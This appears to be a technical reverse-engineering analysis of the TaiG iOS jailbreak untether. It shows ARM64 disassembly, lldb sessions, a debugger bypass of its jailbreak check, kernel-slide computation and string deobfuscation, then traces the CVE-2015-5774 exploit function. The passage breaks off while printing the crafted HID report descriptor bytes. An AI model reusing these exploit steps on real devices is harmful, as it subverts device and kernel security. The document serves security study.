// if w24 is 2 (i.e. called with "-s") then we need to install //
10000bdc8 71000b1f CMP W24, #2 10000bdcc 540000a0 B.EQ need_to_install ; ; 0x10000bde0 10000bdd0 7100071f CMP W24, #1 10000bdd4 54000101 B.NE 0x10000bdf4 ; 0x10000bdf4 //
// if we're still here, w23 is 1 (i.e. called with "-l") //
10000bdd8 97fff93b BL copies_libmis_and_xpcd_cache ; ; 0x10000a2c4 10000bddc 14000014 B head_for_exit.. ; ; 0x10000be2c need_to_install: //
// We get here if called with "-s" //
10000bde0 97fff6fd BL _mounts_system_rw ; ; 0x1000099d4 10000bde4 35000240 CBNZ X0, head_for_exit.. ; ; 0x10000be2c 10000bde8 f9400260 LDR X0, [X19, #0]; ..?? 10000bdec 97fffa9d BL calls_do_install ; ; 0x10000a860 10000bdf0 1400000f B head_for_exit.. ; ; 0x10000be2c //
// if called with no arguments, make sure post setup is intact //
10000bdf4 350001d8 CBNZ X24, head_for_exit.. ; ; 0x10000be2c 10000bdf8 97fff6f7 BL _mounts_system_rw ; ; 0x1000099d4 10000bdfc 35000080 CBNZ X0, 0x10000be0c ; 0x10000be0c 10000be00 97fff709 BL _mounts_lockdown_patch.dmg ; ; 0x100009a24 10000be04 97fffc25 BL _fixes_SpringBoard's_plist ; ; 0x10000ae98 10000be08 94000c98 BL _runs_stuff_in_etc_rc.d ; ; 0x10000f068 10000be0c 94000cc8 BL _runs_/usr/libexec/CrashHousekeeping_0 and /usr/libexec/FinishRestoreFromBackup_0 ; ; 0x10000f12c 10000be10 94000d03 BL _load_launchd_jobs ; ; 0x10000f21c //
// Sleep for 2 seconds... //
10000be14 52a00060 MOVZ W0, #3, LSL #16; ; ->R0 = 0x30000 10000be18 7281a800 MOVK X0, #3392; ; R0 += d40 =.. 0x30d40 10000be1c 94003542 BL libSystem.B.dylib::_usleep ; ; 0x100019324 ; libSystem.B.dylib::_usleep(200000); ; //
// Print "TaiG, Made in China" message (太极 中国制造) //
10000be20 10088800 ADR x0, 69888; ; ->R0 = 0x10001cf20 *Y<81>g 10000be24 d503201f NOP 10000be28 94003404 BL Foundation::_NSLog ; ; 0x100018e38 ; Foundation::_NSLog(*Y<81>g ); ; head_for_exit..: 10000be2c 52800000 MOVZ W0, #0; ; ->R0 = 0x0 exit: 10000be30 d10143bf SUB X31, X29, #80 10000be34 a9457bfd LDP X29, X30, [SP,#80] 10000be38 a9444ff4 LDP X20, X19, [SP,#64] 10000be3c a94357f6 LDP X22, X21, [SP,#48] 10000be40 a9425ff8 LDP X24, X23, [SP,#32] 10000be44 a94167fa LDP X26, X25, [SP,#16] 10000be48 a8c66ffc LDP X28, X27, [SP],#96 10000be4c d65f03c0 RET _disable_watchdog_timer:

Notice above, that the untether uses task_for_pid as a method to check if the device is already jailbroken. Knowing this, you can set a breakpoint on it, and bypass the call:

(lldb) b task_for_pid
Breakpoint 1: no locations (pending).
WARNING:  Unable to resolve breakpoint to any actual locations. # That's fine
(lldb) c
Process 893 resuming
(lldb) 1 location added to breakpoint 1
Process 893 stopped
* thread #1: tid = 0x5608a, 0x0000000196edce94 libsystem_kernel.dylib`task_for_pid, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000196edce94 libsystem_kernel.dylib`task_for_pid
libsystem_kernel.dylib`task_for_pid:
-> 0x196edce94:  movn   x16, #44
   0x196edce98:  svc    #128
   0x196edce9c:  ret   

libsystem_kernel.dylib`pid_for_task:
    0x196edcea0 <+0>: movn   x16, #0x2d
(lldb) bt
* thread #1: tid = 0x5608a, 0x0000000196edce94 libsystem_kernel.dylib`task_for_pid, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x0000000196edce94 libsystem_kernel.dylib`task_for_pid
    frame #1: 0x000000010006fd28 taig.2.4.3`___lldb_unnamed_function80$$taig.2.4.3 + 260
    frame #2: 0x0000000196ddea08 libdyld.dylib`start + 4
# Bypass check: set the program counter to return
(lldb) reg write pc 0x196edce9c
(lldb) # No news is good news - but don't continue without setting another breakpoint first

To set further breakpoints, you'll need to get the function numbers (e.g. the entry point is taig.2.4.3`___lldb_unnamed_function80, above). If you look at my outputs, your addresses will naturally be different, but all you need to is offset for whatever your slide was. Mine in the example above was from bd28 to 6fd28 (compare with disassembly). Your slide will always be an integer number of pages (i.e. 0x##000). I'll specify the original locations (unslid) as I examine interesting points in the untether's flow.

Get Kernel Base and Last

TaiG needs to do some serious kernel patching, and therefore needs to get the kernel base and last addresses. In the previous untether, this was done by a(nother) info leak from kext_request (OSKextCopyLoadedKextInfo), and the code remains here as well (in the common 0x10000fb8c, _leak_kernel_addresses). But if you look at it, you'll see that neither function works, and the info leak fails - that's because Apple has (finally) patched it (and in fact removed OSBundleMachOHeaders entirely from iOS).

Closer scrutiny, however, reveals that _leak_kernel_addresses first checks a global, and - if its value is not zero, said value is then used for the address:


_leak_kernel_addresses:
   10000fb8c      a9ba6ffc        STP    X28, X27, [SP,#-96]!
   10000fb90    a90167fa        STP    X26, X25, [SP,#16]
   10000fb94    a9025ff8        STP    X24, X23, [SP,#32]
   10000fb98    a90357f6        STP    X22, X21, [SP,#48]
   10000fb9c    a9044ff4        STP    X20, X19, [SP,#64]
   10000fba0    a9057bfd        STP    X29, X30, [SP,#80]
//
// Check if 0x10000e328 is set already. If so, we don't need all this
//
   10000fba4    910143fd        ADD    X29, SP, #80;        ; R29 = SP + 0x50
   10000fba8    10073bd9        ADR    x25, 59256;  ; ->R25 = 0x10001e320 
   10000fbac    d503201f        NOP
   10000fbb0    f9400728        LDR    X8, [X25, #8]; ; R8 = *(R25(0x10001e320) + 0x8) = *(0x10001e328) => 0x0
   10000fbb4    b5000848        CBNZ   X8, use_cached_values     ; ; 0x10000fcbc
   10000fbb8    9400004b        BL     _raw_GetLoadedKextInfo_via_kext_request     ; ; 0x10000fce4
   10000fbbc    b4000900        CBZ    X0, fail       ; ; 0x10000fcdc
   10000fbc0    b940101a        LDR    W26, [X0, #16]; ..???
   10000fbc4    340007da        CBZ    X26, use_cached_values    ; ; 0x10000fcbc

...
use_cached_values:
   10000fcbc      52800000        MOVZ   W0, #0;      ; ->R0 = 0x0 
exit:
   10000fcc0      a9457bfd        LDP    X29, X30, [SP,#80]
   10000fcc4    a9444ff4        LDP    X20, X19, [SP,#64]
   10000fcc8    a94357f6        LDP    X22, X21, [SP,#48]
   10000fccc    a9425ff8        LDP    X24, X23, [SP,#32]
   10000fcd0    a94167fa        LDP    X26, X25, [SP,#16]
   10000fcd4    a8c66ffc        LDP    X28, X27, [SP],#96
   10000fcd8    d65f03c0        RET
fail:
   10000fcdc      12800000        MOVN   X0, #0;      ; ->R0 = 0xffffffffffffffff 
   10000fce0    17fffff8        B      exit   ; ; 0x10000fcc0

So who sets these values? Well, you can put a watchpoint on the addresses - but much simpler - right after the get_kernel_* funcs in JTool's output, you'll see (with the companion file installed):

_set_cached_kernel_leaks(141):
   10000fa24      a9ba6ffc        STP    X28, X27, [SP,#-96]!
   10000fa28    a90167fa        STP    X26, X25, [SP,#16]
   10000fa2c    a9025ff8        STP    X24, X23, [SP,#32]
   10000fa30    a90357f6        STP    X22, X21, [SP,#48]
   10000fa34    a9044ff4        STP    X20, X19, [SP,#64]
   10000fa38    a9057bfd        STP    X29, X30, [SP,#80]
   10000fa3c    910143fd        ADD    X29, SP, #80;        ; R29 = SP + 0x50
   10000fa40    d10043ff        SUB    X31, X31, #16
   10000fa44    d2c00fe8        MOVZ   X8, #127, LSL #-32;  ; ->R8 = 0x7f00000000 
   10000fa48    f2bfb808        MOVK   X8, #64960, LSL 16;  ; R8 += fdc00000 =.. 0x7ffdc00000
   10000fa4c    8b080008        ADD    X8, X0, X8
   10000fa50    d2ffffe9        MOVZ   X9, #65535, LSL #-16;        ; ->R9 = 0xffff000000000000 
   10000fa54    f2dff009        MOVK   X9, #65408, LSL 32;  ; R9 += ff8000000000 =.. 0xffffff8000000000
   10000fa58    f2bffc09        MOVK   X9, #65504, LSL 16;  ; R9 += ffe00000 =.. 0xffffff80ffe00000
   10000fa5c    8a090108        AND    X8, X8, X9
   10000fa60    92c00fe9        MOVN   X9, #127, LSL 32;    ; ->R9 = 0xffffff8000000000 
   10000fa64    f2a04009        MOVK   X9, #512, LSL 16;    ; R9 += 2000000 =.. 0xffffff8002000000
   10000fa68    f2840009        MOVK   X9, #8192;   ; R9 += 2000 =.. 0xffffff8002002000
   10000fa6c    8b09011b        ADD    X27, X8, X9
   10000fa70    1007459a        ADR    x26, 59568;  ; ->R26 = 0x10001e320 
   10000fa74    d503201f        NOP
   10000fa78    f900075b        STR    X27, [X26, #8];      ; *((0x10001e320) + 0x8) *0x10001e328 = X27 0x100000cfeedfae7
   10000fa7c    f9000f49        STR    X9, [X26, #24];      ; *((0x10001e320) + 0x18) *0x10001e338 = X9 0xffffff8002002000
....
   10000fb50    9400000f        BL     _leak_kernel_addresses       ; ; 0x10000fb8c
   10000fb54    b9401b48        LDR    W8, [X26, #24]; ; R8 = *(R26(0x10001e320) + 0x18) = *(0x10001e338) => 0x0
   10000fb58    4b080388        SUB    W8, W28, W8
   10000fb5c    8b284368        ADD    X8, X27, X8{, }, {#0}
   10000fb60    f9000b48        STR    X8, [X26, #16];      ; *((0x10001e320) + 0x10) *0x10001e330 = X8 (?)
   10000fb64    f9001348        STR    X8, [X26, #32];      ; *((0x10001e320) + 0x20) *0x10001e340 = X8 (?)
   10000fb68    52800000        MOVZ   W0, #0;      ; ->R0 = 0x0 

Note, in the above, that this function sets the kernel address space values in the following locations:

The function takes its X0 argument (e.g. x0 = 0xffffff80188aeb70), adds a constant (0x7ffdc00000), logical ANDs with another constant ( 0xffffff80ffe00000 ) and then adds to the original kernel address (0xffffff8002002000, a given) to get the kernel slide.

But how do we get the address? Well, we're called from function 123 @10000e94c (that is, 0x10000e3cc + 1412)(corroborate with "bt" or just look at the jtool output). So that sounds like an interesting function to mark for further study..

10000bd44: Calling deobfuscate_strings (0x10000da94)

The string deobfuscator is ripped right out of the previous untether's deobfuscator, taking the "key" (from 0x10001af1f) of rgca/[204';b/[]/? and applying a loop over them. If you have the companion file, you can use jtool to see it work its magic:

Opened companion File: /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD
Disassembling from file offset 0xda94, Address 0x10000da94  to next function with opcodes
_deobfuscate_strings(110):
   10000da94      a9be4ff4        STP    X20, X19, [SP,#-32]!
   10000da98    a9017bfd        STP    X29, X30, [SP,#16]
   10000da9c    910043fd        ADD    X29, SP, #16;        ; R29 = SP + 0x10
   10000daa0    d2800008        MOVZ   X8, #0;      ; ->R8 = 0x0 
   10000daa4    f940c813        LDR    X19, [X0, #400]; ..???
   10000daa8    1007af09        ADR    x9, 62944;   ; ->R9 = 0x10001d088 
   10000daac    d503201f        NOP    
   10000dab0    7006a374        ADR    x20, 54383;  ; ->R20 = 0x10001af1f "rgca/[204';b/[]/?"
   10000dab4    d503201f        NOP    
//
// "IOPMrootDomain" //
10000dab8 3007b54a ADR x10, 63145; ; ->R10 = 0x10001d161 10000dabc d503201f NOP 10000dac0 3868692b LDRB W11, [X9, X8 ] 10000dac4 11018d6b ADD W11, W11, #99; ; ..R11 = R11 (0x0) + 0x63 = 0x63 10000dac8 38686a8c LDRB W12, [X20, X8 ] 10000dacc 4a0c016b EOR W11, W11, W12 10000dad0 3828694b STR W11, [X10, xW8] ..; ; *((0x10001d161) + 0x0) *0x10001d161 = X11 0x63 10000dad4 91000508 ADD X8, X8, #1; ; ..R8 = R8 (0x0) + 0x1 = 0x1 10000dad8 f1003d1f CMP X8, #15 10000dadc 54ffff21 B.NE 0x10000dac0 ; 0x10000dac0 10000dae0 91060260 ADD X0, X19, #384; ; ..R0 = R19 (0x100000cfeedfacf) + 0x180 = 0x100000cfeedfc4f 10000dae4 3007b3e1 ADR x1, 63101; ; ->R1 = 0x10001d161 10000dae8 d503201f NOP 10000daec 94002de4 BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOHIDResource" //
... 10000db28 7007b141 ADR x1, 63019; ; ->R1 = 0x10001d153 10000db2c d503201f NOP 10000db30 94002dd3 BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOHIDLibUserClient" ... 10000db70 1007ae81 ADR x1, 62928; ; ->R1 = 0x10001d140 10000db74 d503201f NOP 10000db78 94002dc1 BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOHIDEventService" //
.. 10000dbb8 5007aba1 ADR x1, 62838; ; ->R1 = 0x10001d12e 10000dbbc d503201f NOP 10000dbc0 94002daf BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "IOUserClientClass" //
... 10000dc00 1007a8e1 ADR x1, 62748; ; ->R1 = 0x10001d11c 10000dc04 d503201f NOP 10000dc08 94002d9d BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "ReportDescriptor" //
... 10000dc48 7007a601 ADR x1, 62659; ; ->R1 = 0x10001d10b 10000dc4c d503201f NOP 10000dc50 94002d8b BL libSystem.B.dylib::_strcpy ; ; 0x10001927c //
// "ReportInterval" //
.. 10000dc8c 1007a381 ADR x1, 62576; ; ->R1 = 0x10001d0fc 10000dc90 d503201f NOP 10000dc94 a9417bfd LDP X29, X30, [SP,#16] 10000dc98 a8c24ff4 LDP X20, X19, [SP],#32 10000dc9c 14002d78 B libSystem.B.dylib::_strcpy ; ; 0x10001927c _returns_global:

So deobfuscation is pretty simple - apply the same loop over the values in their "obfuscated" form, then call strcpy to put them in the global, as of offset 0x180. Jtool is still buggy with figuring out some values, hence it doesn't resolve R19 correctly. But - If you look at the following functions, you'll see that those right after returns_global, you'll see they return the deobfuscated value. These have been marked out in the companion file.

Zephyr:~ morpheus$cat /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD | grep _returns
0x10000dca0:_returns_global
0x10000dcac:_returns_global+0x180 ("IOPMrootDomain")
0x10000dcbc:_returns_global+0x1c0 ("IOHIDResource")
0x10000dccc:_returns_global+0x200 ("IOHIDLibUserClient")
0x10000dcdc:_returns_global+0x240 ("IOHIDEventService")
0x10000dcec:_returns_global+0x280 ("IOUserClientClass")
0x10000dcfc:_returns_global+0x2c0 ("ReportDescriptor")
0x10000dd0c:_returns_global+0x300 ("ReportInterval")

The Exploit (CVE-2015-5774, etc)

If you just want to know the gist of it, without getting through step-by-step ARM64 assembly, just skip all the next part, or click here

If you're still reading this, be aware of the following annoyance:

It's very hard to debug the exploit in one session. One wrong move, misplaced breakpoint, or timing issue will cause the device to reboot. You can imagine this happened to me countless times. As a consequence, the outputs here are from different sessions. ASLR kicks in and randomizes the space (process launch -A doesn't work well). Fortunately, ASLR just slides the binary and the heap/stack (but not the shared library cache *muhahaha*) by an integer number of pages, so offsets in page remain the same, and it's easy to figure the slide. I used $sp + notation whenever possible, and the addresses I refer to are the non-slid addresses (the ones shown in jtool).

Leading up to the exploit:

By now we already know 123 is important. This was made evident by the kernel address leak, and is also clear from looking at the Taig Startup function, which calls 0x10000cb78 (function 86) at 0x10000bd70. Function #86 does nothing but clear 0x198 bytes its argument, and pass it to 123:

   
10000bd6c    aa1403e0        *MOV   X0, X20
10000bd70    94000382        BL     _leads_to_exploit(86) ; ; 0x10000cb78
//
// Was exploit successful? //
10000bd74 7100001f CMP W0, #0 10000bd78 540000ab B.LT exploit_failed ; ; 0x10000bd8c 10000bd7c 91028280 ADD X0, X20, #160; ; ..R0 = R20 (0x100000cfeedfaef) + 0xa0 = 0x100000cfeedfb8f 10000bd80 34000138 CBZ X24, exploit_worked_and_no_args ; ; 0x10000bda4 ... ... ... _leads_to_exploit(86): 10000cb78 a9be4ff4 STP X20, X19, [SP,#-32]! 10000cb7c a9017bfd STP X29, X30, [SP,#16] 10000cb80 910043fd ADD X29, SP, #16; ; R29 = SP + 0x10 10000cb84 aa0103f3 *MOV X19, X1 10000cb88 aa0003f4 *MOV X20, X0 10000cb8c d2803301 MOVZ X1, #408; ; ->R1 = 0x198 10000cb90 940030e3 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c 10000cb94 b9003a93 STR W19, [X20, #56]; ; *((0x0) + 0x38) *0x38 = X19 0x100000cfeee0acf 10000cb98 aa1403e0 *MOV X0, X20 10000cb9c a9417bfd LDP X29, X30, [SP,#16] 10000cba0 a8c24ff4 LDP X20, X19, [SP],#32 10000cba4 1400060a B _exploit(123) ; ; 0x10000e3cc

If you haven't skipped to the high level view, you're obviously interested in following along :-) Set a breakpoint on function 86 and 123, and inspect the arguments:

(lldb) b taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3
Breakpoint 3: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3, address = 0x000000010004a3cc
(lldb) b taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3
Breakpoint 4: where = taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3, address = 0x0000000100048b78
(lldb) c
Process ... resuming
/System/Library/NanoLaunchDaemons/com.apple.companionfindlocallyd.plist: Could not find specified service
...
* thread #1: tid = 0x1be9, 0x0000000100048b78 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1
    frame #0: 0x0000000100048b78 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3
taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3:
-> 0x100048b78:  stp    x20, x19, [sp, #-32]!
   0x100048b7c:  stp    fp, lr, [sp, #16]
   0x100048b80:  add    fp, sp, #16
   0x100048b84:  mov    x19, x1
(lldb) reg read x0 x1
      x0 = 0x000000016fdc3970
      x1 = 0x0000000000000000
(lldb)  c
Process 321 resuming
Process 321 stopped
* thread #1: tid = 0x1be9, 0x000000010004a3cc taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
    frame #0: 0x000000010004a3cc taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3:
-> 0x10004a3cc:  stp    x28, x27, [sp, #-96]!
   0x10004a3d0:  stp    x26, x25, [sp, #16]
   0x10004a3d4:  stp    x24, x23, [sp, #32]
   0x10004a3d8:  stp    x22, x21, [sp, #48]
(lldb) reg read x0 x1
      x0 = 0x000000016fdc3970
      x1 = 0x0000000000000000
(lldb) mem read $x0
0x16fdc3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fdc3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x10000e3cc: The exploit function (123)

Function 123 will start with a setup of the stack. Its stack size is unusually large, since it uses several large arrays. You can see the setup:

_exploit(123):
//
// called with a buffer of 0x198 bytes, initialized to zero, save byte 56 //
10000e3cc a9ba6ffc STP X28, X27, [SP,#-96]! 10000e3d0 a90167fa STP X26, X25, [SP,#16] 10000e3d4 a9025ff8 STP X24, X23, [SP,#32] 10000e3d8 a90357f6 STP X22, X21, [SP,#48] 10000e3dc a9044ff4 STP X20, X19, [SP,#64] 10000e3e0 a9057bfd STP X29, X30, [SP,#80] 10000e3e4 910143fd ADD X29, SP, #80; ; R29 = SP + 0x50 //
// advance stack pointer: sp, sp, #6, lsl #12, allocating aligned large amount of space.
// Also save our arg in X19 //
10000e3e8 d1401bff SUB X31, X31, #6{shift} 10000e3ec d133c3ff SUB X31, X31, #3312 10000e3f0 aa0003f3 *MOV X19, X0 //
// usual stack_chk_guard stuff - ignore this. //
10000e3f4 91400ffb ADD X27, SP, #12288; ; R27 = SP + 0x3000 10000e3f8 9103a37b ADD X27, X27, #232; ; ..R27 = R27 (0x100000cfeee2acf) + 0xe8 = 0x100000cfeee2bb7 10000e3fc d503201f NOP 10000e400 5806e19c LDR X28, #14092; ; R28 = *0x10001c030libSystem.B.dylib::___stack_chk_guard 10000e404 f9400388 LDR X8, [X28, #0]; ; R8 = *(R28(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e408 f91e0368 STR X8, [X27, #15360]; ; *((0x100000cfeee2bb7) + 0x3c00) *0x100000cfeee67b7 = X8 0x3f3f3f3f //
// sp_30e8 = memset (SP + 0x30e8, '\0', 0x1000) //
10000e40c 91400ff6 ADD X22, SP, #12288; ; R22 = SP + 0x3000 10000e410 9103a2d6 ADD X22, X22, #232; ; ..R22 = R22 (0x100000cfeee2acf) + 0xe8 = 0x100000cfeee2bb7 10000e414 b27403e1 ORR X1, XZR, #0x1000; ; ->R1 = 0x1000 10000e418 aa1603e0 *MOV X0, X22 10000e41c 94002ac0 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// sp_2b30 = memset (SP + 0x2b30, '\0', 0x5b8) //
10000e420 91400be0 ADD X0, SP, #8192; ; R0 = SP + 0x2000 10000e424 912cc000 ADD X0, X0, #2864; ; ..R0 = R0 (0x100000cfeee1acf) + 0xb30 = 0x100000cfeee25ff 10000e428 d280b701 MOVZ X1, #1464; ; ->R1 = 0x5b8 10000e42c 94002abc BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// sp_20f0 = memset (SP + 0x20f0, '\0', 0xa40) //
10000e430 91400be0 ADD X0, SP, #8192; ; R0 = SP + 0x2000 10000e434 9103c000 ADD X0, X0, #240; ; ..R0 = R0 (0x100000cfeee1acf) + 0xf0 = 0x100000cfeee1bbf 10000e438 d2814801 MOVZ X1, #2624; ; ->R1 = 0xa40 10000e43c 94002ab8 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// sp_00f0 = memset (SP + 0xf0, '\0', 0x2000) //
10000e440 9103c3e0 ADD X0, SP, #240; ; R0 = SP + 0xf0 10000e444 b27303e1 ORR X1, XZR, #0x2000; ; ->R1 = 0x2000 10000e448 94002ab5 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// Open IOHIDResource handle in X21, and save in X19 (beginning of arg buffer) for posterity //
10000e44c b9400668 LDR W8, [X19, #4]; ; R8 = *(R19(0xffffffffffffffff) + 0x4) = *(0x3) => 0x100000cfeedfacf 10000e450 350008e8 CBNZ X8, 0x10000e56c ; 0x10000e56c 10000e454 97ffe9a5 BL _opens_IOServiceMatching("IOHIDResource")_as_b0b(usually) ; ; 0x100008ae8 10000e458 aa0003f5 *MOV X21, X0 10000e45c b9000275 STR W21, [X19, #0]; ; *((0xffffffffffffffff) + 0x0) *0xffffffffffffffff = X21 0x100000cfeedfbbf 10000e460 34002435 CBZ X21, fail ; ; 0x10000e8e4 //
// Optimized memset of (SP + 0xc0, '\0', 0x24) //
10000e464 b900e3ff STR WZR, [SP, #224] ; ? 10000e468 a90d7fff STP XZR, XZR, [SP,#208] 10000e46c a90c7fff STP XZR, XZR, [SP,#192] //
// x23 = sp_50e8 = memset (SP + 0x50e8, '\0', 0x800) //
10000e470 914017f7 ADD X23, SP, #20480; ; R23 = SP + 0x5000 10000e474 9103a2f7 ADD X23, X23, #232; ; ..R23 = R23 (0x100000cfeee4acf) + 0xe8 = 0x100000cfeee4bb7 10000e478 b27503e1 ORR X1, XZR, #0x800; ; ->R1 = 0x800 10000e47c aa1703e0 *MOV X0, X23 10000e480 94002aa7 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// Set sp_00e4: to 0x8 sp_00e8: to 0xFF //
10000e484 321d03e8 ORR W8, WZR, #0x8; ; ->R8 = 0x8 10000e488 b900e7e8 STR W8, [SP, #228] ; ? 10000e48c 32001fe8 ORR W8, WZR, #0xff; ; ->R8 = 0xff 10000e490 b900ebe8 STR W8, [SP, #232] ; ? //
// loads R20 with -1, which is our default return value if we fail //

Stack setup

Following the string of memsets (bzero) will get you most variables in this function ; Some of those cover more than one variable, though. Note the entire area up to sp_00e8 is unclaimed - though it will be used later. Putting the stack together we end up with:

DecHexVariableSize
0x58E8_______________________ ?
0x50E8_______________________ 0x800
0x40E8_______________________ 0x1000 (uninitialized)
0x30E8_______________________ 0x1000
0x2B30_______________________ 0x5B8
84320x20F0_______________________ 0xA40
2400x00F0_______________________ 0x2000
2360x00Ec_______________________mach_port_t
2320x00E8 0xFF uint64_t
2280x00E4 0x8 uint32_t
1920x00C0 0x24
1840x00B8 0x8
1360x0088_______________________0x30
960x0060 _______________________uint32_t
880x0058 _______________________mach_port_t
800x0050________________________void *

Crafting a report descriptor

You'll note that hidden in the memset()s is a call to IOKit - to open a handle to IOHIDResource. The handle returned is usually b0b - I say, usually, because Mach Ports are somewhat like file descriptors (or Windows Handles) in that they have meaning only in the process (more accurately) task in which they were created. Because they're created deterministically, they often have the same number.

The next step in the exploit is to craft a Report Descriptor. Now, HID Report Descriptors are totally messed up. To be honest, I don't understand them, nor have I any intent to (I'm a software person, not hardware). You can download a USB descriptor tool from The official USB consortium site, but I'd recommended instead a javascript parser at Eleccelerator.com, along with a nice tutorial (which was more than enough for me to realize I don't want any more of this stuff :-) . Following the creation of the descriptor along is WAY easier in a debugger, because it involves a lot of memory setting which is excruciating. JTool isn't that advanced (yet?), and I doubt if IDA could do this. So it's much easier to set a breakpoint once the descriptor is crafted.

//
// Start crafting our Report Descriptor in x23 (= sp_50e8) //
10000e498 12800001 MOVN X1, #0; ; ->R1 = 0xffffffffffffffff 10000e49c 321f7be2 ORR W2, WZR, #0xfffffffe; ; ->R2 = 0xfffffffe 10000e4a0 321e7be3 ORR W3, WZR, #0xfffffffd; ; ->R3 = 0xfffffffd 10000e4a4 aa1703e0 *MOV X0, X23 10000e4a8 97fffc06 BL _crafts_IOHIDDescriptor(100) ; ; 0x10000d4c0 10000e4ac aa0003f8 *MOV X24, X0 //
// Advance in our descriptor, write next part //
10000e4b0 8b38c2e0 ADD X0, X23, X24{, }, {#0} 10000e4b4 910303f9 ADD X25, SP, #192; ; R25 = SP + 0xc0 10000e4b8 52800121 MOVZ W1, #9; ; ->R1 = 0x9 10000e4bc 320003e2 ORR W2, WZR, #0x1; ; ->R2 = 0x1 10000e4c0 320007e3 ORR W3, WZR, #0x3; ; ->R3 = 0x3 10000e4c4 aa1903e4 *MOV X4, X25 10000e4c8 97fffc19 BL _on_with_IOHIDDesc(101) ; ; 0x10000d52c //
// Advance in our descriptor, write next-to-last part //
10000e4cc 93407c08 ASR X8, X0, #0 10000e4d0 8b38c118 ADD X24, X8, X24{, }, {#0} 10000e4d4 8b1802e0 ADD X0, X23, X24 10000e4d8 52800121 MOVZ W1, #9; ; ->R1 = 0x9 10000e4dc 321f03e2 ORR W2, WZR, #0x2; ; ->R2 = 0x2 10000e4e0 320007e3 ORR W3, WZR, #0x3; ; ->R3 = 0x3 10000e4e4 aa1903e4 *MOV X4, X25 10000e4e8 97fffc11 BL _on_with_IOHIDDesc(101) ; ; 0x10000d52c //
// Advance in our descriptor, write "c3 00 00 00 00" at end //
10000e4ec 8b20c318 ADD X24, X24, X0{, }, {#0} 10000e4f0 8b1802e0 ADD X0, X23, X24 10000e4f4 97fffc59 BL _top_off_Report_descriptor_with_0xc3 ; ; 0x10000d658

So, setting our breakpoint, we'd have:

(lldb) b 0x10004a4f8
Breakpoint 6: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300, address = 0x000000010004a4f8
(lldb) c
* thread #1: tid = 0x1be9, 0x000000010004a4f8 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1
    frame #0: 0x000000010004a4f8 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300:
(lldb) (lldb) mem read $x23
0x16fdc1ce8: 07 fe ff ff ff 27 ff ff ff ff 17 ff ff ff ff 47  .....'.........G
0x16fdc1cf8: ff ff ff ff 37 ff ff ff ff a7 00 00 00 00 b7 00  ....7...........
0x16fdc1d08: 00 00 00 a3 fd ff ff ff 07 00 00 00 00 0a 00 00  ................
0x16fdc1d18: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37  '.........G....7
0x16fdc1d28: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08  ....g....W....w.
0x16fdc1d38: 00 00 00 97 ff 00 00 00 87 01 00 00 00 93 03 00  ................
0x16fdc1d48: 00 00 07 00 00 00 00 0a 00 00 27 00 00 00 00 17  ..........'.....
0x16fdc1d58: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00  ....G....7....g.
0x16fdc1d68: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 ff 00  ...W....w.......
0x16fdc1d78: 00 00 87 02 00 00 00 93 03 00 00 00 c3 00 00 00  ................

Ugh. Apple's IOHIDFamily sources have a descriptor parser in tools/IOHIDReportDescriptorParser.c, which can be easily adapter to print this:

Zephyr:tools morpheus$ pwd
/Users/morpheus/Documents/src/Apple/IOHIDFamily-606.1.7/tools
Zephyr:tools morpheus$ tail -25 IOHIDReportDescriptorParser.c 
void main (int argc, char **argv)
{

        uint32_t len = 161;

        uint8_t rd[] = {
                0x07,0xfe,0xff,0xff,0xff,0x27,0xff,0xff,0xff,0xff,0x17,0xff,0xff,0xff,0xff,0x47,
                0xff,0xff,0xff,0xff,0x37,0xff,0xff,0xff,0xff,0xa7,0x00,0x00,0x00,0x00,0xb7,0x00,
                0x00,0x00,0x00,0xa3,0xfd,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x0a,0x00,0x00,
                0x27,0x00,0x00,0x00,0x00,0x17,0x00,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0x00,0x37,
                0x00,0x00,0x00,0x00,0x67,0x00,0x00,0x00,0x00,0x57,0x00,0x00,0x00,0x00,0x77,0x08,
